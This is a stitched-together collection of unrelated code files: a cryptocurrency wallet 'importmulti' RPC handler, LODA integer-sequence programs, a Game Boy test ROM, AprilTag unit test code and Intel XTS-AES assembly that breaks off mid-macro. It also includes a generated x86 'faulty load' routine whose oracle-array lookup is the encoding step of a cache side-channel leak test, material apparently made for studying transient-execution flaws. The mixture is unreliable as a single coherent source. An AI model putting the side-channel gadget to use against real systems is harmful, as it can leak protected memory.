" \"watchonly\": <true> , (boolean, optional, default: false) Stating whether matching outputs should be considered watched even when they're not spendable, only allowed if keys are empty\n"
" \"label\": <label> , (string, optional, default: '') Label to assign to the address (aka account name, for now), only allowed with internal=false\n"
" }\n"
" ,...\n"
" ]\n"
"2. options (json, optional)\n"
" {\n"
" \"rescan\": <false>, (boolean, optional, default: true) Stating if should rescan the blockchain after all imports\n"
" }\n"
"\nNote: This call can take minutes to complete if rescan is true, during that time, other rpc calls\n"
"may report that the imported keys, addresses or scripts exists but related transactions are still missing.\n"
"\nExamples:\n" +
HelpExampleCli("importmulti", "'[{ \"scriptPubKey\": { \"address\": \"<my address>\" }, \"timestamp\":1455191478 }, "
"{ \"scriptPubKey\": { \"address\": \"<my 2nd address>\" }, \"label\": \"example 2\", \"timestamp\": 1455191480 }]'") +
HelpExampleCli("importmulti", "'[{ \"scriptPubKey\": { \"address\": \"<my address>\" }, \"timestamp\":1455191478 }]' '{ \"rescan\": false}'") +
"\nResponse is an array with the same size as the input that has the execution result :\n"
" [{ \"success\": true } , { \"success\": false, \"error\": { \"code\": -1, \"message\": \"Internal Server Error\"} }, ... ]\n");
// clang-format on
RPCTypeCheck(mainRequest.params, {UniValue::VARR, UniValue::VOBJ});
const UniValue& requests = mainRequest.params[0];
//Default options
bool fRescan = true;
if (!mainRequest.params[1].isNull()) {
const UniValue& options = mainRequest.params[1];
if (options.exists("rescan")) {
fRescan = options["rescan"].get_bool();
}
}
WalletRescanReserver reserver(pwallet);
if (fRescan && !reserver.reserve()) {
throw JSONRPCError(RPC_WALLET_ERROR, "Wallet is currently rescanning. Abort existing rescan or wait.");
}
int64_t now = 0;
bool fRunScan = false;
int64_t nLowestTimestamp = 0;
UniValue response(UniValue::VARR);
{
LOCK2(cs_main, pwallet->cs_wallet);
EnsureWalletIsUnlocked(pwallet);
// Verify all timestamps are present before importing any keys.
now = chainActive.Tip() ? chainActive.Tip()->GetMedianTimePast() : 0;
for (const UniValue& data : requests.getValues()) {
GetImportTimestamp(data, now);
}
const int64_t minimumTimestamp = 1;
if (fRescan && chainActive.Tip()) {
nLowestTimestamp = chainActive.Tip()->GetBlockTime();
} else {
fRescan = false;
}
for (const UniValue& data : requests.getValues()) {
const int64_t timestamp = std::max(GetImportTimestamp(data, now), minimumTimestamp);
const UniValue result = ProcessImport(pwallet, data, timestamp);
response.push_back(result);
if (!fRescan) {
continue;
}
// If at least one request was successful then allow rescan.
if (result["success"].get_bool()) {
fRunScan = true;
}
// Get the lowest timestamp.
if (timestamp < nLowestTimestamp) {
nLowestTimestamp = timestamp;
}
}
}
if (fRescan && fRunScan && requests.size()) {
int64_t scannedTime = pwallet->RescanFromTime(nLowestTimestamp, reserver, true /* update */);
pwallet->ReacceptWalletTransactions();
if (scannedTime > nLowestTimestamp) {
std::vector<UniValue> results = response.getValues();
response.clear();
response.setArray();
size_t i = 0;
for (const UniValue& request : requests.getValues()) {
// If key creation date is within the successfully scanned
// range, or if the import result already has an error set, let
// the result stand unmodified. Otherwise replace the result
// with an error message.
if (scannedTime <= GetImportTimestamp(request, now) || results.at(i).exists("error")) {
response.push_back(results.at(i));
} else {
UniValue result = UniValue(UniValue::VOBJ);
result.pushKV("success", UniValue(false));
result.pushKV(
"error",
JSONRPCError(
RPC_MISC_ERROR,
strprintf("Rescan failed for key with creation timestamp %d. There was an error reading a "
"block from time %d, which is after or within %d seconds of key creation, and "
"could contain transactions pertaining to the key. As a result, transactions "
"and coins using this key may not appear in the wallet. This error could be "
"caused by pruning or data corruption (see rosecoind log for details) and could "
"be dealt with by downloading and rescanning the relevant blocks (see -reindex "
"and -rescan options).",
GetImportTimestamp(request, now), scannedTime - TIMESTAMP_WINDOW - 1, TIMESTAMP_WINDOW)));
response.push_back(std::move(result));
}
++i;
}
}
}
return response;
}
|
; A020915: Number of terms in base 3 representation of 2^n.
; 1,1,2,2,3,4,4,5,6,6,7,7,8,9,9,10,11,11,12,12,13,14,14,15,16,16,17,18,18,19,19,20,21,21,22,23,23,24,24,25,26,26,27,28,28,29,30,30,31,31,32,33,33,34,35,35,36,36,37,38,38,39,40,40,41,42,42,43,43,44,45,45,46,47,47,48,48,49,50,50,51,52,52,53,53,54,55,55,56,57,57,58,59,59,60,60,61,62,62,63
mov $3,4
pow $3,$0
lpb $3
add $2,3
div $3,9
lpe
mov $0,$2
div $0,3
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld c, 44
ld b, 90
lbegin_waitly90:
ldff a, (c)
cmp a, b
jrnz lbegin_waitly90
ld a, 11
ldff(40), a
ld hl, 8010
ld a, ff
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld(hl++), a
ld c, 12
ld de, 0014
ld hl, 9800
ld a, 01
lbegin_set_bgmap:
ld b, 0c
lbegin_set_bgmapline_tilenos0to11:
ld(hl++), a
dec b
jrnz lbegin_set_bgmapline_tilenos0to11
add hl, de
dec c
jrnz lbegin_set_bgmap
ld a, 80
ldff(68), a
xor a, a
ld c, 69
ldff(c), a
ldff(c), a
dec a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ldff(c), a
ld a, 20
ldff(41), a
ld a, 02
ldff(ff), a
ld c, 43
ld a, 91
ldff(40), a
ei
xor a, a
.text@1000
lstatint:
ldff(c), a
ld a, 60
.text@101f
ldff(c), a
pop hl
ld a, c0
.text@1069
ldff(c), a
xor a, a
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x14955, %rbp
xor $36336, %rsi
mov (%rbp), %di
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_WT_ht+0x12cfb, %rsi
lea addresses_A_ht+0x1df55, %rdi
clflush (%rsi)
nop
sub $22007, %rdx
mov $27, %rcx
rep movsl
add %rdx, %rdx
lea addresses_normal_ht+0x1e755, %rdi
xor %rsi, %rsi
mov (%rdi), %bp
cmp $33990, %rdi
lea addresses_normal_ht+0x9e35, %rcx
nop
nop
sub $42771, %rbx
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0x4555, %rsi
lea addresses_D_ht+0xa855, %rdi
nop
xor %rdx, %rdx
mov $88, %rcx
rep movsq
xor $19484, %rdx
lea addresses_normal_ht+0xec7d, %rdx
nop
inc %r13
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rdx)
nop
nop
nop
nop
sub $51061, %rcx
lea addresses_D_ht+0x15755, %rsi
lea addresses_normal_ht+0x13f55, %rdi
nop
inc %r12
mov $57, %rcx
rep movsq
xor $28318, %r13
lea addresses_D_ht+0x1b55, %rcx
nop
nop
nop
nop
cmp %rdx, %rdx
movb (%rcx), %r12b
sub $46561, %r13
lea addresses_WT_ht+0x4595, %rbx
nop
dec %rdi
mov (%rbx), %r12
cmp %rsi, %rsi
lea addresses_normal_ht+0xd4f5, %rdi
nop
nop
nop
nop
inc %rsi
mov (%rdi), %r13d
nop
and %rbx, %rbx
lea addresses_normal_ht+0x179d5, %rsi
lea addresses_WT_ht+0x16155, %rdi
nop
add $33269, %r12
mov $113, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $23842, %rdi
lea addresses_D_ht+0x12855, %rbx
nop
nop
inc %rcx
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
sub $63997, %rdi
lea addresses_WT_ht+0xd67b, %rsi
lea addresses_UC_ht+0x17995, %rdi
clflush (%rsi)
nop
nop
nop
dec %rdx
mov $103, %rcx
rep movsb
nop
nop
nop
nop
add $8749, %r12
lea addresses_WT_ht+0x43a5, %rbp
nop
nop
nop
nop
sub %rsi, %rsi
mov (%rbp), %edi
nop
nop
nop
nop
and $18725, %rdx
lea addresses_normal_ht+0xe035, %r13
nop
nop
nop
nop
cmp %rbx, %rbx
mov (%r13), %r12
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rbx
// Store
lea addresses_UC+0x19495, %rax
nop
cmp $33575, %r8
mov $0x5152535455565758, %r12
movq %r12, %xmm4
vmovups %ymm4, (%rax)
nop
nop
nop
nop
dec %rbp
// Faulty Load
lea addresses_WT+0xf55, %r10
nop
nop
nop
nop
nop
cmp $28264, %rbx
mov (%r10), %r12
lea oracles, %r10
and $0xff, %r12
shlq $12, %r12
mov (%r10,%r12,1), %r12
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A001536: (11n+1)(11n+10).
; 10,252,736,1462,2430,3640,5092,6786,8722,10900,13320,15982,18886,22032,25420,29050,32922,37036,41392,45990,50830,55912,61236,66802,72610,78660,84952,91486,98262,105280,112540,120042,127786,135772,144000,152470,161182,170136,179332,188770,198450,208372,218536,228942,239590,250480,261612,272986,284602,296460,308560,320902,333486,346312,359380,372690,386242,400036,414072,428350,442870,457632,472636,487882,503370,519100,535072,551286,567742,584440,601380,618562,635986,653652,671560,689710,708102,726736,745612,764730,784090,803692,823536,843622,863950,884520,905332,926386,947682,969220,991000,1013022,1035286,1057792,1080540,1103530,1126762,1150236,1173952,1197910
sub $1,$0
bin $1,2
mul $1,242
add $1,10
mov $0,$1
|
; A120512: a(n) = min{j : A120501(j) = n}.
; 1,4,8,9,14,15,17,18,24,25,27,28,31,32,34,35,42,43,45,46,49,50,52,53,57,58,60,61,64,65,67,68,76,77,79,80,83,84,86,87,91,92,94,95,98,99,101,102,107,108
mov $1,1
lpb $0,1
add $1,$0
div $0,2
add $1,2
lpe
|
#include <opencv2/core/core.hpp>
#include "witness/server/vision/apriltag.h"
#include "witness/server/file_operations/file_operations.h"
#include "gtest/gtest.h"
#include "witness/server/vision/imshow_wrapper.h"
extern "C" {
#include "apriltag/apriltag.h"
#include "apriltag/apriltag_pose.h"
#include "apriltag/tagStandard41h12.h"
}
#include "opencv2/highgui/highgui.hpp"
namespace witness {
namespace server {
namespace vision {
namespace {
TEST(Tag, All) {
auto detector = Detector(0.01, 140.2, 140.4, 200.1, 200.0, Detector::TagFamily::TAG41h12);
auto imshow = ImageManager();
auto img = cv::imread("witness/server/vision/test_data/apriltag.jpg");
cv::Mat gray_image;
cv::cvtColor(img, gray_image, CV_BGR2GRAY);
imshow.show("input", gray_image);
auto detections = detector.detect(gray_image);
auto num_detects = zarray_size(detections);
ASSERT_EQ(num_detects, 1);
detector.draw(&img, detections);
imshow.show("annotated", img);
auto poses_and_errors = detector.extract_detected_poses(detections);
ASSERT_EQ(poses_and_errors.size(), 1);
ASSERT_EQ(poses_and_errors[0].id, 5);
}
} // namespace
} // namespace vision
} // namespace server
} // namespace witness
int main(int argc, char **argv) {
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2020 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; XTS encrypt function with 256-bit AES
; expanded keys are not aligned
; keys are expanded in parallel with the tweak encryption
; plaintext and ciphertext are not aligned
; second key is stored in the stack as aligned to 16 Bytes
; first key is required only once, no need for storage of this key
%include "reg_sizes.asm"
%if (AS_FEATURE_LEVEL) >= 10
default rel
%define TW rsp ; store 8 tweak values
%define keys rsp + 16*8 ; store 15 expanded keys
%ifidn __OUTPUT_FORMAT__, win64
%define _xmm rsp + 16*23 ; store xmm6:xmm15
%endif
%ifidn __OUTPUT_FORMAT__, elf64
%define _gpr rsp + 16*23 ; store rbx
%define VARIABLE_OFFSET 16*8 + 16*15 + 8*1 ; VARIABLE_OFFSET has to be an odd multiple of 8
%else
%define _gpr rsp + 16*33 ; store rdi, rsi, rbx
%define VARIABLE_OFFSET 16*8 + 16*15 + 16*10 + 8*3 ; VARIABLE_OFFSET has to be an odd multiple of 8
%endif
%define GHASH_POLY 0x87
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;void XTS_AES_256_enc_expanded_key_vaes(
; UINT8 *k2, // key used for tweaking, 16*2 bytes
; UINT8 *k1, // key used for "ECB" encryption, 16*2 bytes
; UINT8 *TW_initial, // initial tweak value, 16 bytes
; UINT64 N, // sector size, in bytes
; const UINT8 *pt, // plaintext sector input data
; UINT8 *ct); // ciphertext sector output data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; arguments for input parameters
%ifidn __OUTPUT_FORMAT__, elf64
%xdefine ptr_key2 rdi
%xdefine ptr_key1 rsi
%xdefine T_val rdx
%xdefine N_val rcx
%xdefine ptr_plaintext r8
%xdefine ptr_ciphertext r9
%else
%xdefine ptr_key2 rcx
%xdefine ptr_key1 rdx
%xdefine T_val r8
%xdefine N_val r9
%xdefine ptr_plaintext r10; [rsp + VARIABLE_OFFSET + 8*5]
%xdefine ptr_ciphertext r11; [rsp + VARIABLE_OFFSET + 8*6]
%endif
; arguments for temp parameters
%ifidn __OUTPUT_FORMAT__, elf64
%define tmp1 rdi
%define ghash_poly_8b r10
%define ghash_poly_8b_temp r11
%else
%define tmp1 rcx
%define ghash_poly_8b rdi
%define ghash_poly_8b_temp rsi
%endif
%define twtempl rax ; global temp registers used for tweak computation
%define twtemph rbx
%define zpoly zmm25
; macro to encrypt the tweak value
%macro encrypt_T 8
%define %%xkey2 %1
%define %%xstate_tweak %2
%define %%xkey1 %3
%define %%xraw_key %4
%define %%xtmp %5
%define %%ptr_key2 %6
%define %%ptr_key1 %7
%define %%ptr_expanded_keys %8
vmovdqu %%xkey2, [%%ptr_key2]
vpxor %%xstate_tweak, %%xkey2 ; ARK for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1]
vmovdqa [%%ptr_expanded_keys+16*0], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*1]
vaesenc %%xstate_tweak, %%xkey2 ; round 1 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*1]
vmovdqa [%%ptr_expanded_keys+16*1], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*2]
vaesenc %%xstate_tweak, %%xkey2 ; round 2 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*2]
vmovdqa [%%ptr_expanded_keys+16*2], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*3]
vaesenc %%xstate_tweak, %%xkey2 ; round 3 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*3]
vmovdqa [%%ptr_expanded_keys+16*3], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*4]
vaesenc %%xstate_tweak, %%xkey2 ; round 4 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*4]
vmovdqa [%%ptr_expanded_keys+16*4], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*5]
vaesenc %%xstate_tweak, %%xkey2 ; round 5 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*5]
vmovdqa [%%ptr_expanded_keys+16*5], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*6]
vaesenc %%xstate_tweak, %%xkey2 ; round 6 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*6]
vmovdqa [%%ptr_expanded_keys+16*6], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*7]
vaesenc %%xstate_tweak, %%xkey2 ; round 7 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*7]
vmovdqa [%%ptr_expanded_keys+16*7], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*8]
vaesenc %%xstate_tweak, %%xkey2 ; round 8 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*8]
vmovdqa [%%ptr_expanded_keys+16*8], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*9]
vaesenc %%xstate_tweak, %%xkey2 ; round 9 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*9]
vmovdqa [%%ptr_expanded_keys+16*9], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*10]
vaesenc %%xstate_tweak, %%xkey2 ; round 10 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*10]
vmovdqa [%%ptr_expanded_keys+16*10], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*11]
vaesenc %%xstate_tweak, %%xkey2 ; round 11 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*11]
vmovdqa [%%ptr_expanded_keys+16*11], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*12]
vaesenc %%xstate_tweak, %%xkey2 ; round 12 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*12]
vmovdqa [%%ptr_expanded_keys+16*12], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*13]
vaesenc %%xstate_tweak, %%xkey2 ; round 13 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*13]
vmovdqa [%%ptr_expanded_keys+16*13], %%xkey1 ; store round keys in stack
vmovdqu %%xkey2, [%%ptr_key2 + 16*14]
vaesenclast %%xstate_tweak, %%xkey2 ; round 14 for tweak encryption
vmovdqu %%xkey1, [%%ptr_key1 + 16*14]
vmovdqa [%%ptr_expanded_keys+16*14], %%xkey1 ; store round keys in stack
vmovdqa [TW], %%xstate_tweak ; Store the encrypted Tweak value
%endmacro
; generate initial tweak values
; load initial plaintext values
%macro initialize 16
%define %%ST1 %1 ; state 1
%define %%ST2 %2 ; state 2
%define %%ST3 %3 ; state 3
%define %%ST4 %4 ; state 4
%define %%ST5 %5 ; state 5
%define %%ST6 %6 ; state 6
%define %%ST7 %7 ; state 7
%define %%ST8 %8 ; state 8
%define %%TW1 %9 ; tweak 1
%define %%TW2 %10 ; tweak 2
%define %%TW3 %11 ; tweak 3
%define %%TW4 %12 ; tweak 4
%define %%TW5 %13 ; tweak 5
%define %%TW6 %14 ; tweak 6
%define %%TW7 %15 ; tweak 7
%define %%num_initial_blocks %16
; generate next Tweak values
vmovdqa %%TW1, [TW+16*0]
mov twtempl, [TW+8*0]
mov twtemph, [TW+8*1]
vmovdqu %%ST1, [ptr_plaintext+16*0]
%if (%%num_initial_blocks>=2)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*2], twtempl
mov [TW+8*3], twtemph;
vmovdqa %%TW2, [TW+16*1]
vmovdqu %%ST2, [ptr_plaintext+16*1]
%endif
%if (%%num_initial_blocks>=3)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*4], twtempl
mov [TW+8*5], twtemph;
vmovdqa %%TW3, [TW+16*2]
vmovdqu %%ST3, [ptr_plaintext+16*2]
%endif
%if (%%num_initial_blocks>=4)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*6], twtempl
mov [TW+8*7], twtemph;
vmovdqa %%TW4, [TW+16*3]
vmovdqu %%ST4, [ptr_plaintext+16*3]
%endif
%if (%%num_initial_blocks>=5)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*8], twtempl
mov [TW+8*9], twtemph;
vmovdqa %%TW5, [TW+16*4]
vmovdqu %%ST5, [ptr_plaintext+16*4]
%endif
%if (%%num_initial_blocks>=6)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*10], twtempl
mov [TW+8*11], twtemph;
vmovdqa %%TW6, [TW+16*5]
vmovdqu %%ST6, [ptr_plaintext+16*5]
%endif
%if (%%num_initial_blocks>=7)
xor ghash_poly_8b_temp, ghash_poly_8b_temp
shl twtempl, 1
adc twtemph, twtemph
cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW+8*12], twtempl
mov [TW+8*13], twtemph;
vmovdqa %%TW7, [TW+16*6]
